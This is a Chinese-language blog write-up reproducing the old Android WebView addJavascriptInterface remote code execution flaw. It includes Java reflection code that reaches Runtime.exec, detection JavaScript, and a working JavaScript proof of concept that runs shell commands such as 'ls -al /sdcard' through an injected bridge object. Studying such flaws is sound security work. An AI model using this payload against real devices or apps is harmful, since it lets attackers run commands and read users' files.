webView远程代码执行漏洞复现

一.概述

这个漏洞只存在于Android API level 16以及之前的版本，系统没有限制使用webView.addJavascriptInterface方法，导致攻击者可以通过使用java 反射API利用该漏洞执行任意java对象的方法，也就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口，JavaScirpt通过调用这个接口可以直接操作本地的java接口。

要注意的就是安卓的版本低于4.2才行

然后就是要使用webView来加载网页这样才能调用js，毕竟是通过js来调用这个java对象方法的

二.漏洞原理

1 webView

这玩意其实就是作为app里面的内置浏览器的角色，因为安卓系统的限制，它不允许直接运行系统的浏览器，但是又为了

在app中浏览网页，就出了webView这个组件嵌入app中

<?xml version="1.0" encoding="utf-8"?>

<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:app="http://schemas.android.com/apk/res-auto"

    xmlns:tools="http://schemas.android.com/tools"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    tools:context=".MainActivity">

    <WebView

        android:layout_width="match_parent"

        android:layout_height="match_parent"

        android:id="@+id/web_view"/>

</androidx.constraintlayout.widget.ConstraintLayout>

package com.example.webviewtest;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;

import android.webkit.WebView;

import android.webkit.WebViewClient;

public class MainActivity extends AppCompatActivity {

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        WebView webView=(WebView)findViewById(R.id.web_view);

        webView.getSettings().setJavaScriptEnabled(true);

        webView.setWebViewClient(new WebViewClient());

        webView.loadUrl("http://www.baidu.com");

    }

}

这里先获取一个webView的对象，通过getSetting()方法可以给webView对象设置属性，这里设置了允许执行js脚本

2.漏洞代码实际情况

    class JsObject{

            @JavascriptInterface

            public String toString()

            {

                return "injectedObject";

            }

        }

        webView.addJavascriptInterface(new JSONObject(),"injectObject");

        webView.loadData("","text/html",null);

        webView.loadUrl("javascript:alert(injectObject.toString()");

这里就是通过addJavascriptInterface()方法注册了一个可供js来调用的java对象，后面的js代码就可以调用和执行这个java对象的代码。

3.反射机制

反射真是个好东西，可以执行任意对象的任意方法

    Demo demo=new Demo();

        Class mObjectClass=demo.getClass();

        System.out.println(mObjectClass.getName());

        Method[] methods=mObjectClass.getDeclaredMethods();

        for(Method method:methods)

        {

            System.out.println("method = "+method.getName());

        }

        try {

            Class c=mObjectClass.forName("java.lang.Runtime");

            Method m=c.getDeclaredMethod("getRuntime",null);

            System.out.println(c.getName());

            m.setAccessible(true);

            Object obj=m.invoke(null, null);

            Class c2=obj.getClass();

            String array="cmd.exe /k start calc";

            Method n=c2.getMethod("exec",array.getClass()); //返回名称exec，参数为array类型的方法

            n.invoke(obj, new Object[] {array});

        }catch(Exception e)

        {

            e.printStackTrace();

        }

这波意思是只要有getClass()方法的java对象，那我就可以调用java.lang.Runtime的getRuntime方法返回Runtime后再执行exec方法调用cmd，getshell

4.漏洞检测

这里就是检测注册的java对象中是否有getClass()方法。

js代码，直接搬的别的师傅的，

function check(){

    for(var obj in window){

        try{

            if("getClass" in window[obj]){

                try{

                    window[obj].getClass();

                    document.write('<span style="color:red">'+obj+'</span>');

                    document.write('<br/>');

                }catch(e){

                }

            }

        }finally{

        }

    }

}

check();

5.漏洞poc

js代码

 <script type="text/javascript">

   var i=0;

    function getContents(inputStream)

    {

      var contents = ""+i;

      var b = inputStream.read();

      var i = 1;

      while(b != -1) {

          var bString = String.fromCharCode(b);

          contents += bString;

          contents += "\n"

          b = inputStream.read();

      }

      i=i+1;

      return contents;

     }

     function execute(cmdArgs)

     {

      for (var obj in window) {

          console.log(obj);

          if ("getClass" in window[obj]) {

              alert(obj);

              return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

           }

       }

     } 

     var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);

     document.write(getContents(res.getInputStream()));

</script>

参考链接

https://blog.csdn.net/u012195899/article/details/68942725

巴特西

webView远程代码执行漏洞复现

最新文章

热门文章